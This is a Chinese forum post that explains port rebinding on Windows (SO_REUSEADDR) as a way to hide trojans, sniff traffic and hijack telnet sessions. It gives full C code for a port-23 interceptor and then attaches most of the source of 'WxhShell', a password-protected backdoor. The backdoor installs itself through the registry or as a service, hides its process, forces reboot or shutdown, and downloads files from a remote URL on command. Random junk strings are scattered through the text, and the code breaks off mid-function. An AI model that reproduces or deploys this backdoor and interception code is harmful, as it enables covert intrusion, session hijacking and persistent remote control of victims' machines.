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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M\L^ Wf9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g7g^iLU  
qP4vH]  
  saddr.sin_family = AF_INET; NzAMX+L  
}\oy%]_mY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LmjzH@3  
]R%+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W*jwf@ 0  
-d8U Hc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Dqg~g|(Q<  
Jd-u ?  
  这意味着什么?意味着可以进行如下的攻击: tO8<N'TD  
*L+)R*|:&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u0?,CQPL  
Nt/#Qu2#br  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y-y<gW  
`44 }kkBT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m6iQB\ \  
qrt2BT)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vq;_x  
m)oGeD( !  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]O 8hkGa  
E(/M?>t-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v#`7,::  
$5v:z   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ! 1wf/C;=  
QsC6\Gt#  
  #include :o=a@Rqx  
  #include PZE{- TM?W  
  #include _=ziw|zI  
  #include    #a|.cm>6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   , HHCgN  
  int main() *fg|HH+i  
  { J0V\_ja-  
  WORD wVersionRequested; r]lPXj(`  
  DWORD ret; h&O8e;S#  
  WSADATA wsaData; ]aqg{XdGt  
  BOOL val; `;BpdG(m  
  SOCKADDR_IN saddr; SU80i`  
  SOCKADDR_IN scaddr; Nub)]S>_/t  
  int err; {ZR>`'^:  
  SOCKET s; tShyG! b  
  SOCKET sc; Qk h}=3u  
  int caddsize; X$(Dem  
  HANDLE mt; f zsD  
  DWORD tid;   p|,3X*-ynx  
  wVersionRequested = MAKEWORD( 2, 2 ); -ttH{SslM  
  err = WSAStartup( wVersionRequested, &wsaData ); Ks_B%d  
  if ( err != 0 ) { DF`?D +  
  printf("error!WSAStartup failed!\n"); X\ bXat+  
  return -1; zd-qQ.j0  
  } F* h\#?  
  saddr.sin_family = AF_INET; @b5zHXF83E  
   n)xLEx,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yhzZ[vw7k  
d]!`II  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NPY\ >pf  
  saddr.sin_port = htons(23); SoPiEq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  VsR8|Hn$  
  { M*n@djL$\~  
  printf("error!socket failed!\n"); M>LgEc-v67  
  return -1; KYN{Dh]-}  
  } Rt=zqfJ  
  val = TRUE; 8AgKK=C =  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f9FEH7S68  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ecIZ +G)k  
  { *s1^s;LR  
  printf("error!setsockopt failed!\n"); wcW8"J'AH  
  return -1; `j)S7KN  
  } 5N.-m;s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; glo Y@k~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p^>_VE[S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1 |T{RY5  
6G0Y,B7&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IVdM}"+  
  { OJ!=xTU%h  
  ret=GetLastError(); ^]{m*bEkR  
  printf("error!bind failed!\n"); 4SDUTRo a  
  return -1; qGVf! R  
  } _`-trE.  
  listen(s,2); 05PRlz *x=  
  while(1) jqv"8S5  
  { hw9qnSeRy  
  caddsize = sizeof(scaddr); OPe3p {]  
  //接受连接请求 ;%W]b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B/F6WQdZ  
  if(sc!=INVALID_SOCKET) Svqj@@_f  
  { 1~aP)q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kVeR{i<*(  
  if(mt==NULL) n> tru L  
  { 'JK"3m}nT  
  printf("Thread Creat Failed!\n"); b<bj5m4fz>  
  break; :/<SJ({q  
  } ~H4wsa39  
  } oqUF_kh  
  CloseHandle(mt); {i#z <ttu  
  } W{W8\  
  closesocket(s); =`pH2SJT  
  WSACleanup(); DV{0|E  
  return 0; "&Rt&S  
  }   a2%xW_e  
  DWORD WINAPI ClientThread(LPVOID lpParam) )sZJH9[K  
  { ic;M=dsh:  
  SOCKET ss = (SOCKET)lpParam; ?[VL 2dP0  
  SOCKET sc; L'L[Vpx  
  unsigned char buf[4096]; {16]8-pe  
  SOCKADDR_IN saddr; j/p1/sJ[y  
  long num; H~:EPFi.(  
  DWORD val; M~ eXC  
  DWORD ret; $H8B%rT]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6"YcM:5~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   AEd]nVV Q  
  saddr.sin_family = AF_INET; sOqT*gwr:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NpLZ ,|H  
  saddr.sin_port = htons(23); 'zhv#&O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L.?QZN%cN  
  { nghpWODq  
  printf("error!socket failed!\n"); <q.Q,_cW  
  return -1; W7#dc89}  
  } Z_;! f}X  
  val = 100; ? FlQ\q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 38#Zlc f  
  { K1$   
  ret = GetLastError(); ^D8~s;?  
  return -1; b.j$Gna>Q  
  } = 6'Fm$R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IOT-R!.5V  
  { %#x l+^  
  ret = GetLastError(); ,GF]+nI89  
  return -1; U#Wg"W{  
  } QpD- %gN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ub;:"ns}  
  { 4<V}A j8l  
  printf("error!socket connect failed!\n"); rS8}(lf  
  closesocket(sc); H/U.Bg 4  
  closesocket(ss); Ye S5%?Fk  
  return -1; Ao+6^z_  
  } }qT{" *SC  
  while(1) yV*jc`1  
  { I(H9-!&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {l"(EeW6)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E#R1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f?$yxMw:@  
  num = recv(ss,buf,4096,0); X-*LA*xbN  
  if(num>0) :nOI|\ rC  
  send(sc,buf,num,0); y* :C~  
  else if(num==0) {)(Mkm +d  
  break; WjguM  
  num = recv(sc,buf,4096,0); [y~kF?a  
  if(num>0) vmg[/#  
  send(ss,buf,num,0); iJH?Z,Tjf  
  else if(num==0) }kG>6_p?  
  break; E W`3$J;  
  } ,xg-H6Xfa{  
  closesocket(ss); 6l:uQz9  
  closesocket(sc); $*`E;}S0  
  return 0 ; #jJ0Mxg  
  }  W_6gV  
*j( UAVp  
pk`5RDBu  
========================================================== v"o_V|  
]ddH>y&o  
下边附上一个代码,,WXhSHELL |8tKN"QG  
Fi/`3A@68  
========================================================== E 6+ ooB[  
j\"d/{7Q  
#include "stdafx.h" -24ccN;  
LP !d|X  
#include <stdio.h> YC$>D? FW  
#include <string.h> :|8!w  
#include <windows.h> MV w.Fl  
#include <winsock2.h> I5)$M{#a  
#include <winsvc.h> X"vDFE`?  
#include <urlmon.h> v,Zoy|Lu  
n a*Z0y  
#pragma comment (lib, "Ws2_32.lib") Khl0~  
#pragma comment (lib, "urlmon.lib") YeVo=hYH@  
@-Y,9mM   
#define MAX_USER   100 // 最大客户端连接数 u@P1`E1Q  
#define BUF_SOCK   200 // sock buffer 6J_$dzw  
#define KEY_BUFF   255 // 输入 buffer JP(0/?Q  
p"7[heExw  
#define REBOOT     0   // 重启 8)M WC:  
#define SHUTDOWN   1   // 关机 /EJy?TON*  
)c?nh3D  
#define DEF_PORT   5000 // 监听端口 : sw@1  
|tU wlc>  
#define REG_LEN     16   // 注册表键长度 kkW}:dBl  
#define SVC_LEN     80   // NT服务名长度 6oFA=CjU{  
*K& $9fah  
// 从dll定义API +=d=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Lxv6\3I+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G*,7pc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g[HuIn/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hd,O/-m#  
$e{[fm x  
// wxhshell配置信息 `~_H\_JpO  
struct WSCFG { s}yN_D+V  
  int ws_port;         // 监听端口 m>3\1`ZF~<  
  char ws_passstr[REG_LEN]; // 口令 -%Ce  
  int ws_autoins;       // 安装标记, 1=yes 0=no d'H gek{T  
  char ws_regname[REG_LEN]; // 注册表键名 h(GSM'v  
  char ws_svcname[REG_LEN]; // 服务名 ;.rY`<|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W`P>vK@=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CJDNS21m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sl(go^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~w9`l8/0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lgD %  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7TU xdI  
th<>%e}5c  
}; 6.$z!~8  
yW\kmv.O  
// default Wxhshell configuration w~jm0jK]  
struct WSCFG wscfg={DEF_PORT, OF )*kiJ  
    "xuhuanlingzhe", fU\;\  
    1, `I4E': ZG  
    "Wxhshell", ImD&~^-_<  
    "Wxhshell", SSyARR+;c  
            "WxhShell Service", ,rF!o_7  
    "Wrsky Windows CmdShell Service", xP;>p| M  
    "Please Input Your Password: ", &}|`h8JA]K  
  1, P_H_\KsH*(  
  "http://www.wrsky.com/wxhshell.exe", :Bu)cy#/[  
  "Wxhshell.exe" d0f(Uk  
    }; Z c#Jb  
Sfp-ns32%A  
// 消息定义模块 U.b|3E/^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #yU"n-eLR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2$VSH&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  c,M"a  
char *msg_ws_ext="\n\rExit."; g6S-vSX,  
char *msg_ws_end="\n\rQuit."; e p Dp*  
char *msg_ws_boot="\n\rReboot..."; # JY>  
char *msg_ws_poff="\n\rShutdown..."; %$Xt1ub6(  
char *msg_ws_down="\n\rSave to "; GU9p'E  
\:'6_K  
char *msg_ws_err="\n\rErr!"; Tj\hAcD  
char *msg_ws_ok="\n\rOK!"; ne3t|JZ  
'A\0^EvVv  
char ExeFile[MAX_PATH]; wlslG^^(!  
int nUser = 0; ~V?\@R:g  
HANDLE handles[MAX_USER]; h0$ \JXk  
int OsIsNt; tB4yj_ZF  
so| U&`G  
SERVICE_STATUS       serviceStatus; +Jn\`4/J:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %da-/[  
g:U -kK!i  
// 函数声明 ac966<#  
int Install(void); ,_D@ggL-  
int Uninstall(void); |z&7KoYK'  
int DownloadFile(char *sURL, SOCKET wsh); q|IU+r:! 3  
int Boot(int flag); {a9.0N:4  
void HideProc(void); R yM2 9uD  
int GetOsVer(void); <1:I[b  
int Wxhshell(SOCKET wsl); 5~(nHCf>  
void TalkWithClient(void *cs); #e[r0f?U  
int CmdShell(SOCKET sock); F[0~{*/|G  
int StartFromService(void); ?P#\ CW  
int StartWxhshell(LPSTR lpCmdLine); ; TwqZw[.  
F[F  NtZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8493O x4 O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9}42s+  
]@}hyM[D;  
// 数据结构和表定义 k)y<iHR_o  
SERVICE_TABLE_ENTRY DispatchTable[] = s$0dLEa9  
{ hewc5vrL  
{wscfg.ws_svcname, NTServiceMain}, F&3:]1  
{NULL, NULL} knb0_nA  
}; 0 N0< 4b  
Y`6<:8[?  
// 自我安装 1]A\@(  
int Install(void) MU:v& sk  
{ >fkV65w{*  
  char svExeFile[MAX_PATH]; EQM[!g^a  
  HKEY key; k)8*d{*  
  strcpy(svExeFile,ExeFile); Rt5Xqz\6i  
<;jg/  
// 如果是win9x系统,修改注册表设为自启动 /5 OQ0{8p  
if(!OsIsNt) { 0Jd>V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <KStl fX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (l(d0g&p>  
  RegCloseKey(key); kKDf%=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]XL=S|tIq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vNZ"x)?  
  RegCloseKey(key); [[Nn~7  
  return 0; %j{*`}  
    } e"p){)*$  
  } R?}%rP+^e  
} 89P7iSV#*  
else { c`\qupnY  
=vDDfPR  
// 如果是NT以上系统,安装为系统服务 u%OLXb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "{~^EQq,  
if (schSCManager!=0) ?/~Q9My  
{ +HD2]~{EkL  
  SC_HANDLE schService = CreateService r $YEq5  
  ( Wrt5eYy  
  schSCManager, a\B?J  
  wscfg.ws_svcname, ,.;{J|4P  
  wscfg.ws_svcdisp, V~Jt  
  SERVICE_ALL_ACCESS, 8hSw4S "$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OL@$RTh  
  SERVICE_AUTO_START, z$(`{ o%a  
  SERVICE_ERROR_NORMAL, 6J cXhlB`  
  svExeFile, 3b`#)y^y?%  
  NULL, b/E3Kse?  
  NULL, Zl.,pcL  
  NULL, ndk~(ex|j  
  NULL, k[*> nE  
  NULL 5)->.*G*  
  ); i|S/g.r  
  if (schService!=0) Z8f?uF  
  { RS2uk 7MB  
  CloseServiceHandle(schService); \(zUI  
  CloseServiceHandle(schSCManager); I-Am9\   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'HL.W](  
  strcat(svExeFile,wscfg.ws_svcname); a?X@ D<.;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $"6Gv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BJp~/H`vd  
  RegCloseKey(key); }1.'2.<Y  
  return 0; }5Km \OI  
    } $9W,1wg  
  } 9j 0o)]  
  CloseServiceHandle(schSCManager); w ,0OO f  
} }z2[w@M  
} dChMjaix  
AMK(-=  
return 1; S2#@j#\  
} wb39s^n  
#f_.  
// 自我卸载 hK %FpGYA  
int Uninstall(void) YmHu8H_Q  
{ L}K8cB  
  HKEY key; Kv ajk~  
x( (Rm_'  
if(!OsIsNt) { \]3[Xw-$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K :>O X  
  RegDeleteValue(key,wscfg.ws_regname); EQ>@K-R  
  RegCloseKey(key); BP1<:T'.q`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~*e@^Nv)v  
  RegDeleteValue(key,wscfg.ws_regname); w/9%C(w6  
  RegCloseKey(key); lnK#q .]  
  return 0; \4O_@d`A  
  } $M$-c{>s  
} ,G[Y< ~Hy  
} x]IJ;  
else { W< $!H V$  
7"OJ,Mx%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h-DHIk3/  
if (schSCManager!=0) '($$-P\/  
{ '1~;^rU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aj<r=  
  if (schService!=0) sD|}? 7  
  { ')Y1c O  
  if(DeleteService(schService)!=0) { wVX2.D'n<  
  CloseServiceHandle(schService); *U`R<mV\  
  CloseServiceHandle(schSCManager); 'X`W+=T$  
  return 0; bCiyz+VyJn  
  } ex66GJQe1  
  CloseServiceHandle(schService); 7`&6l+S|  
  } Mh {>#Gs  
  CloseServiceHandle(schSCManager); 3 rR1/\  
} <,X=M6$0n  
} 9_ZGb"(Lj  
7m}fVLk  
return 1; 1-E utq  
} #WS>Z3AY  
Qj$w7*U  
// 从指定url下载文件 >*Ej2ex  
int DownloadFile(char *sURL, SOCKET wsh) unKgOvtj  
{ ~wO-Hgd  
  HRESULT hr; E()%IC/R  
char seps[]= "/"; ^]Z@H/]H  
char *token; M+b?qw  
char *file; = |2F?  
char myURL[MAX_PATH]; ^'fgQyj  
char myFILE[MAX_PATH]; M27H{} v  
Ul}<@d9: B  
strcpy(myURL,sURL); :Gew8G  
  token=strtok(myURL,seps); Vhr6bu]  
  while(token!=NULL) 4Z5;y[k(  
  { wvxsn!Ao&=  
    file=token; c2?VjuB0  
  token=strtok(NULL,seps); z7+>G/o  
  } )PW|RW  
IW-|"5?9'  
GetCurrentDirectory(MAX_PATH,myFILE); SpYmgL?wJ  
strcat(myFILE, "\\"); |o'r?"  
strcat(myFILE, file); L27WDm^)  
  send(wsh,myFILE,strlen(myFILE),0); '+3C2!  
send(wsh,"...",3,0); UtQCTNjC{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )dh`aQ%N "  
  if(hr==S_OK) _O ;4>  
return 0; :,g]Om^  
else ~>P(nI  
return 1; =LGSywWM9  
Bf6i{`!G  
} ael] {'h]  
),[@NK&=  
// 系统电源模块 \CV HtV  
int Boot(int flag) KY%{'"'u  
{ !l Egta[Ql  
  HANDLE hToken; )xKW  
  TOKEN_PRIVILEGES tkp; @LSh=o+  
V!>j: "  
  if(OsIsNt) { ]>Gi_20*.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WuFBt=%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); es~1@Jb  
    tkp.PrivilegeCount = 1; _zi| GD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r-*6# "  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 08D:2 z1z  
if(flag==REBOOT) { ]!~?j3-k Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wq"-T.i  
  return 0; p>#q* eU5  
} >d *`K  
else { 57 Bx-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,D]g]#Lq  
  return 0; YbnXAi\y|  
} Bq1}"092  
  } I|qhj*_C  
  else { Q\T?t  
if(flag==REBOOT) { *?]<=IV?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g_N^Y  
  return 0; aM(#J7;  
} R/*"N'nH-%  
else { I%GQ3D"=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \nPf\6;M  
  return 0; &[_@f#  
} odC"#Rb  
} &q9=0So4\  
&1?6Q_p6c  
return 1; [#RFdn<  
} DwZRx@  
u@`a~  
// win9x进程隐藏模块 w0lgB%97p  
void HideProc(void) G2?#MO  
{ nE*S3  
hITYBPqRO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !{+.)%d'g  
  if ( hKernel != NULL ) R=<::2_Y96  
  { i$Kx@,O8t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bt_c$TN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O9/)_:Wdh  
    FreeLibrary(hKernel); (V\N1T,f  
  } -!\%##r7~  
Tsj/alC[  
return; N N1}P'6Ha  
} HKI\i)c  
;UM(y@  
// 获取操作系统版本 b;5j awG  
int GetOsVer(void) 6)ln,{  
{ T!B\ixt6  
  OSVERSIONINFO winfo; _$5DK%M}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [ }Tb2|  
  GetVersionEx(&winfo); doHE]gC2Uz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ge.>#1f}  
  return 1; JGTsVa2  
  else #asi%&3pP  
  return 0; 2IRARZ,3  
} /|P{t{^WM  
{FKr^)g  
// 客户端句柄模块 *AQ3RA8  
int Wxhshell(SOCKET wsl) zow8 Q6f  
{ zIu/!aw  
  SOCKET wsh; Z|Rc54Ct  
  struct sockaddr_in client; G'#u!<(^h  
  DWORD myID; ~jzLw@"~$^  
3*2~#dh=  
  while(nUser<MAX_USER) +$nNYD  
{ f_[dFKoX  
  int nSize=sizeof(client); zPqJeYK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Qkx*T9W   
  if(wsh==INVALID_SOCKET) return 1; yq[/9PciA  
.'_}:~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }Oc+EV-Z  
if(handles[nUser]==0) jS[=Zx`  
  closesocket(wsh); 7x>^ip"7  
else Y z&!0Hfd  
  nUser++; aK;OzB)  
  } G~(\N?2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N<a %l J  
-V}xvSVg  
  return 0; BlU&=;#r5>  
} EJTM >Rpor  
U'(zKqC   
// 关闭 socket .!0Rh9yyl  
void CloseIt(SOCKET wsh) IauLT;!X  
{ so$(-4(E O  
closesocket(wsh); p|A ?F0  
nUser--; 7`t"fS  
ExitThread(0); MQx1|>rG  
} tJ K58m$  
(1^;l;7H  
// 客户端请求句柄 {m~)~/z?  
void TalkWithClient(void *cs) r|4D.O]  
{ saiXFM 7J  
1~K'r&  
  SOCKET wsh=(SOCKET)cs; !(?7V  
  char pwd[SVC_LEN]; G>0d^bx;E  
  char cmd[KEY_BUFF]; 6wWhM&Wd  
char chr[1]; v9Ii8{ca|  
int i,j; )G^k$j  
9]lI?j]o  
  while (nUser < MAX_USER) { >\<eR]12  
iD|~$<9o  
if(wscfg.ws_passstr) { ZJZSt% r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OHBCanZZ,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D|)_c1g  
  //ZeroMemory(pwd,KEY_BUFF); VED~v#.c  
      i=0; ;BH.,{*@B  
  while(i<SVC_LEN) { P8By~f32_  
/KOI%x  
  // 设置超时 bk<Rp84vL  
  fd_set FdRead; ^`id/  
  struct timeval TimeOut; <Qih&P9;>  
  FD_ZERO(&FdRead); 7,p.M)t)  
  FD_SET(wsh,&FdRead); {c_bNYoE  
  TimeOut.tv_sec=8; f<wYJGI  
  TimeOut.tv_usec=0; ri8=u$!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I@Hx LEGj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >JE+g[$@  
2?q>yL!Gz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }g-w[w 7p  
  pwd=chr[0]; ZwsQ}5  
  if(chr[0]==0xd || chr[0]==0xa) { l3F$5n  
  pwd=0; ddKP3}  
  break; =l/Dc=[  
  } m0ra  
  i++; o[_,r]%+D  
    } |=YK2};  
"i#g [x  
  // 如果是非法用户,关闭 socket rrRv 7J&Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _"Ym]y28li  
} &v((tZ  
t{iRCj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /+%aSPQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vb>F)po1}  
DVhBZ!u 9  
while(1) { `K+%/|!  
RN)XIf$@_  
  ZeroMemory(cmd,KEY_BUFF); Q >[>{N&\  
H ;=^ W  
      // 自动支持客户端 telnet标准   0;><@{'  
  j=0; :$K=LV#Iru  
  while(j<KEY_BUFF) { !J;Bm,Xn6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9;6)b 0=$  
  cmd[j]=chr[0]; zuN(~>YH  
  if(chr[0]==0xa || chr[0]==0xd) { .qohHJ&  
  cmd[j]=0; | 8mWR=9fs  
  break; P ah@d!%A  
  } kJuG haO  
  j++; O@@nGSc@  
    } $Xt""mlQ  
!5De?OXe   
  // 下载文件 "Y:>^F;  
  if(strstr(cmd,"http://")) { iYT?6Y|+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ui)mYR[8X  
  if(DownloadFile(cmd,wsh)) Z+U -+eG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bq)dqLwk  
  else Rq+7&%dy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HRE?uBkjf  
  } L3oL>r'|  
  else { SW}Rkr\e  
RYvcuA)  
    switch(cmd[0]) { R- >~MLeK]  
  9O&gR46.  
  // 帮助 g$e|y#Ic$  
  case '?': { Q]=/e7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \Db`RvEmR  
    break; `~d7l@6F  
  } *ilVkV"U  
  // 安装 L9e<hRZ$  
  case 'i': { ,(h -  
    if(Install()) L;*7p9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |(W04Wp"@  
    else {_(R?V]w,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2>X yrG  
    break;  "9[2vdSX  
    } A405igF  
  // 卸载 H~JgZ pw  
  case 'r': { UZFs ]z!,k  
    if(Uninstall()) dr"$@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5!'1;GLs  
    else M1/(Xla3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]m`:T  
    break; <L8FI78[*  
    }  whw+  
  // 显示 wxhshell 所在路径 arR<!y7  
  case 'p': { u!~kmIa4  
    char svExeFile[MAX_PATH]; dR=sdqS#J  
    strcpy(svExeFile,"\n\r"); F|+B8&-v  
      strcat(svExeFile,ExeFile); a3MI+  
        send(wsh,svExeFile,strlen(svExeFile),0); yph@H!@  
    break; ))dqC l  
    } cyd&bxPgj+  
  // 重启 iu<Tv,{8  
  case 'b': { _VgFuU$h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8q]"CFpa  
    if(Boot(REBOOT)) v]@ XyF\j8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `2+TN  
    else { &X~8S/nPAw  
    closesocket(wsh); ;s$4/b/~  
    ExitThread(0); ,ko#z}Z4r,  
    } $;=^|I4E  
    break; y[Dgyt  
    } Ux^ue9  
  // 关机 pheu48/f  
  case 'd': { P}Mu|AEG  
